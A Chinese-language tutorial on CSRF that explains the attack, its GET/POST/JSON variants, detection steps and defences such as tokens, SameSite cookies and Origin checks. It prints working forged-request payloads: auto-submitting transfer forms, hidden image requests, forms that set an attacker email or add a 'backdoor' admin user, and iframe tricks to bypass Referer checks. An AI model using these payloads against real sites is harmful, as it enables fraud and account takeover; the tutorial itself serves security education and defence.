CSRF漏洞详解

我将全面讲解CSRF(Cross-Site Request Forgery,跨站请求伪造)漏洞的原理、利用方式和防范措施。

一、CSRF漏洞原理

1.1 什么是CSRF

CSRF是一种Web安全漏洞,攻击者诱导受害者在已登录的Web应用中执行非本意的操作。攻击者利用用户的身份凭证(如Cookie),在用户不知情的情况下发送恶意请求。

1.2 攻击原理

核心机制:

  • 用户登录受信任网站A,浏览器保存Session Cookie
  • 用户在未退出A的情况下访问恶意网站B
  • 恶意网站B包含指向网站A的请求
  • 浏览器自动携带网站A的Cookie发送请求
  • 网站A无法区分请求是用户主动发起还是被伪造的

攻击流程图:

1
2
3
4
5
1. 用户登录 bank.com → 获得Session Cookie
2. 用户访问 evil.com(未退出bank.com)
3. evil.com 页面包含:<img src="http://bank.com/transfer?to=attacker&amount=10000">
4. 浏览器自动发送请求到 bank.com,携带用户Cookie
5. bank.com 验证Cookie有效,执行转账操作

1.3 CSRF的前提条件

  1. 目标网站存在可预测的请求:参数和URL可被猜测
  2. 基于Cookie的身份验证:完全依赖Cookie进行身份认证
  3. 没有额外的验证机制:无CSRF Token、验证码等
  4. 用户已登录目标网站:浏览器中存在有效的Session

二、CSRF漏洞类型

2.1 GET型CSRF

最简单的CSRF攻击,通过GET请求执行操作。

示例场景:删除文章

1
2
3
4
5
<!-- 受害网站的删除接口 -->
http://example.com/delete_article?id=123

<!-- 攻击者构造的恶意页面 -->
<img src="http://example.com/delete_article?id=123" style="display:none">

2.2 POST型CSRF

通过POST请求执行操作,需要构造表单自动提交。

攻击代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
<h1>恭喜中奖!点击领取</h1>
<form id="csrf-form" action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>

2.3 JSON型CSRF

现代Web应用常用JSON格式传输数据。

攻击示例:

1
2
3
4
5
6
7
8
9
10
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://api.example.com/update_email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true; // 携带Cookie
xhr.send(JSON.stringify({
email: "attacker@evil.com"
}));
</script>

三、CSRF漏洞利用技巧

3.1 常见利用场景

1. 修改用户信息

1
2
3
4
5
6
7
8
9
<!-- 修改邮箱 -->
<form action="http://example.com/profile/update" method="POST">
<input type="hidden" name="email" value="hacker@evil.com">
</form>
<!-- 修改密码 -->
<form action="http://example.com/change_password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
</form>

2. 执行敏感操作

1
2
3
4
5
6
7
8
9
<!-- 转账 -->
<img src="http://bank.com/transfer?to=attacker&amount=5000">

<!-- 添加管理员 -->
<form action="http://admin.example.com/add_user" method="POST">
<input type="hidden" name="username" value="backdoor">
<input type="hidden" name="role" value="admin">
</form>

3. 社交网络攻击

1
2
3
4
5
6
7
8
9
<!-- 强制关注 -->
<img src="http://social.com/follow?user_id=attacker">

<!-- 发送私信 -->
<form action="http://social.com/send_message" method="POST">
<input type="hidden" name="to" value="victim">
<input type="hidden" name="message" value="钓鱼链接...">
</form>

3.2 绕过防护技巧

1. 绕过Referer检查

1
2
3
4
5
6
7
8
9
10
<!-- 使用data URI -->
<iframe src="data:text/html,<form action='http://target.com/action' method='POST'>
<input name='param' value='malicious'></form><script>document.forms[0].submit()</script>">
</iframe>
<!-- 使用about:blank -->
<iframe src="about:blank" name="csrf-frame"></iframe>
<form action="http://target.com/action" method="POST" target="csrf-frame">
<input name="param" value="malicious">
</form>

2. 利用Flash/PDF的跨域特性(已过时但值得了解)

3. 结合XSS漏洞
如果网站存在XSS漏洞,可以直接在目标域执行CSRF攻击,绕过同源策略。

3.3 自动化利用工具

CSRFTester、Burp Suite等工具可以:

  • 自动检测CSRF漏洞
  • 生成POC(Proof of Concept)代码
  • 批量测试接口

四、CSRF漏洞检测

4.1 手工检测步骤

步骤1:识别敏感操作
找出修改数据、执行交易等敏感功能的请求。

步骤2:分析请求特征

1
2
3
4
- 请求方法:GET/POST
- 参数:是否可预测
- 身份验证:仅依赖Cookie?
- 防护措施:是否有Token、Referer检查

步骤3:构造POC
创建独立HTML页面模拟攻击请求。

步骤4:测试验证

1
2
3
1. 在浏览器A登录目标网站
2. 在浏览器B(或新标签页)打开POC页面
3. 观察操作是否成功执行

4.2 检测清单

1
2
3
4
5
6
7
□ 敏感操作是否有CSRF Token?
□ Token是否与用户Session绑定?
□ Token是否在每次请求后更新?
□ 是否验证Referer/Origin头?
□ 是否使用SameSite Cookie属性?
□ 是否有二次验证(验证码、密码确认)?
□ API是否使用自定义Header?

五、CSRF防范措施

5.1 CSRF Token(最有效)

原理: 生成随机不可预测的Token,验证请求的合法性。

实现方式:

后端生成Token(Python/Flask示例):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from flask import Flask, session, request
import secrets

app = Flask(__name__)
app.secret_key = 'your-secret-key'

@app.route('/form')
def show_form():
# 生成CSRF Token
csrf_token = secrets.token_hex(32)
session['csrf_token'] = csrf_token

return f'''
<form method="POST" action="/submit">
<input type="hidden" name="csrf_token" value="{csrf_token}">
<input type="text" name="data">
<button type="submit">提交</button>
</form>
'''

@app.route('/submit', methods=['POST'])
def submit():
# 验证CSRF Token
token = request.form.get('csrf_token')
if token != session.get('csrf_token'):
return "CSRF验证失败", 403

# 处理正常业务逻辑
return "提交成功"

前端使用Token(JavaScript/AJAX):

1
2
3
4
5
6
7
8
9
10
11
12
// 从meta标签获取Token
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

// AJAX请求携带Token
fetch('/api/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ data: 'value' })
});

Token实现要点:

  • Token必须随机且不可预测
  • Token应与用户Session绑定
  • Token应设置有效期
  • 每次敏感操作应验证Token
  • Token不应出现在URL中(防止泄露)

5.2 验证Referer/Origin头

原理: 检查请求来源是否为可信域名。

实现示例(Node.js/Express):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.use((req, res, next) => {
const referer = req.get('Referer');
const origin = req.get('Origin');
const allowedDomains = ['https://example.com', 'https://www.example.com'];

if (req.method === 'POST' || req.method === 'PUT' || req.method === 'DELETE') {
const requestOrigin = origin || (referer ? new URL(referer).origin : null);

if (!requestOrigin || !allowedDomains.includes(requestOrigin)) {
return res.status(403).send('禁止的请求来源');
}
}

next();
});

注意事项:

  • Referer可能被浏览器隐私设置阻止
  • 某些代理服务器会移除Referer
  • 应作为辅助防护,不应单独依赖

5.3 SameSite Cookie属性

原理: 限制Cookie在跨站请求中的发送。

设置方式:

1
2
3
4
5
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# Strict: 完全禁止跨站发送Cookie
# Lax: 允许部分跨站场景(导航GET请求)
# None: 允许跨站(需配合Secure使用)

代码示例(各语言):

1
2
# Python/Flask
response.set_cookie('session', value, samesite='Strict', secure=True, httponly=True)
1
2
3
4
5
6
// Node.js/Express
res.cookie('session', value, {
sameSite: 'strict',
secure: true,
httpOnly: true
});
1
2
3
4
5
6
// PHP
setcookie('session', $value, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);

SameSite选择建议:

  • Strict:最安全,适用于银行等高敏感网站
  • Lax:平衡安全与可用性,适合大多数场景
  • None:需要跨站使用Cookie时(需HTTPS)

5.4 双重验证机制

1. 验证码

1
2
3
4
5
6
7
8
<!-- 敏感操作添加验证码 -->
<form method="POST" action="/transfer">
<input type="text" name="amount">
<img src="/captcha" id="captcha-img">
<input type="text" name="captcha" placeholder="验证码">
<button type="submit">转账</button>
</form>

2. 密码确认

1
2
3
4
5
6
7
<!-- 修改密码需要输入当前密码 -->
<form method="POST" action="/change_password">
<input type="password" name="current_password" placeholder="当前密码">
<input type="password" name="new_password" placeholder="新密码">
<button type="submit">修改</button>
</form>

3. 短信/邮件验证

1
2
3
4
5
6
7
8
9
# 发送验证码到用户手机
def send_verification_code(user):
code = generate_random_code()
session['verification_code'] = code
send_sms(user.phone, f"验证码:{code}")

# 验证
if request.form['code'] != session.get('verification_code'):
return "验证码错误", 403

5.5 自定义请求头

原理: 利用CORS限制,简单请求无法携带自定义Header。

实现示例:

1
2
3
4
5
6
7
8
9
// 前端:所有AJAX请求添加自定义Header
fetch('/api/action', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
'X-Custom-Header': 'application-specific-value'
},
body: JSON.stringify(data)
});
1
2
3
4
5
6
# 后端:验证自定义Header
@app.before_request
def check_custom_header():
if request.method in ['POST', 'PUT', 'DELETE']:
if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
abort(403)

5.6 重新认证敏感操作

对高风险操作要求重新登录:

1
2
3
4
5
6
7
8
9
10
@app.route('/delete_account', methods=['POST'])
def delete_account():
# 检查最近认证时间
last_auth = session.get('last_auth_time')
if not last_auth or time.time() - last_auth > 300: # 5分钟
return redirect('/re-authenticate?next=/delete_account')

# 执行删除操作
delete_user_account(current_user)
return "账户已删除"

六、综合防护方案

6.1 多层防护策略

1
2
3
4
5
6
7
第一层:SameSite Cookie(基础防护)

第二层:CSRF Token验证(核心防护)

第三层:Referer/Origin检查(辅助验证)

第四层:敏感操作二次确认(高风险保护)

6.2 完整防护代码示例

后端(Python/Django):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from django.middleware.csrf import get_token
from django.views.decorators.csrf import csrf_protect

@csrf_protect # Django内置CSRF保护
def sensitive_action(request):
if request.method == 'POST':
# 1. CSRF Token已由装饰器验证

# 2. 验证Referer
referer = request.META.get('HTTP_REFERER', '')
if not referer.startswith(request.scheme + '://' + request.get_host()):
return HttpResponse('Invalid referer', status=403)

# 3. 高风险操作需要密码确认
password = request.POST.get('confirm_password')
if not request.user.check_password(password):
return HttpResponse('密码错误', status=403)

# 执行业务逻辑
perform_sensitive_operation()
return HttpResponse('操作成功')

前端(React示例):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import React, { useState, useEffect } from 'react';

function SensitiveForm() {
const [csrfToken, setCsrfToken] = useState('');

useEffect(() => {
// 获取CSRF Token
fetch('/api/csrf-token')
.then(res => res.json())
.then(data => setCsrfToken(data.token));
}, []);

const handleSubmit = async (e) => {
e.preventDefault();

const response = await fetch('/api/sensitive-action', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
'X-Requested-With': 'XMLHttpRequest'
},
credentials: 'same-origin', // 发送Cookie
body: JSON.stringify({
data: 'value',
confirm_password: document.getElementById('password').value
})
});

if (response.ok) {
alert('操作成功');
}
};

return (
<form onSubmit={handleSubmit}>
<input type="password" id="password" placeholder="确认密码" />
<button type="submit">提交</button>
</form>
);
}

七、常见错误和陷阱

7.1 防护中的常见错误

** 错误1:Token存储在Cookie中**

1
2
// 错误:Token放在Cookie中可被跨站请求自动携带
document.cookie = "csrf_token=" + token;

** 正确:Token应存储在Session或HTML中**

1
<meta name="csrf-token" content="random-token-value">

** 错误2:GET请求执行敏感操作**

1
2
3
4
# 错误:DELETE操作使用GET
@app.route('/delete/<id>') # GET请求
def delete_item(id):
delete(id)

** 正确:使用POST/DELETE等方法**

1
2
3
@app.route('/delete/<id>', methods=['POST', 'DELETE'])
def delete_item(id):
delete(id)

** 错误3:Token所有用户共用**

1
2
# 错误:全局Token
GLOBAL_CSRF_TOKEN = "fixed-token-123"

** 正确:每个Session独立Token**

1
session['csrf_token'] = secrets.token_hex(32)

7.2 测试时的注意事项

1
2
3
4
5
6
7
测试清单:
□ 移除Token参数,请求是否被拒绝?
□ 修改Token值,请求是否被拒绝?
□ 使用其他用户的Token,是否被拒绝?
□ 重放已使用的Token,是否被拒绝?
□ 跨域请求是否正确阻止?
□ SameSite Cookie配置是否生效?

八、总结与最佳实践

核心要点

  1. 使用CSRF Token是最有效的防护手段
  2. 启用SameSite Cookie提供基础防护
  3. 验证Referer/Origin作为辅助措施
  4. 敏感操作应要求二次验证
  5. 避免GET请求修改数据
  6. 使用自定义Header增强API安全

开发建议

  • 使用成熟的Web框架(Django、Rails、Spring等),自动提供CSRF保护
  • 定期进行安全测试和代码审查
  • 对开发人员进行安全培训
  • 保持框架和依赖库更新
  • 记录和监控可疑的CSRF攻击尝试

资源推荐

  • OWASP CSRF防护速查表:详细的防护指南
  • Burp Suite:专业的Web安全测试工具
  • 各框架文档:查阅具体实现细节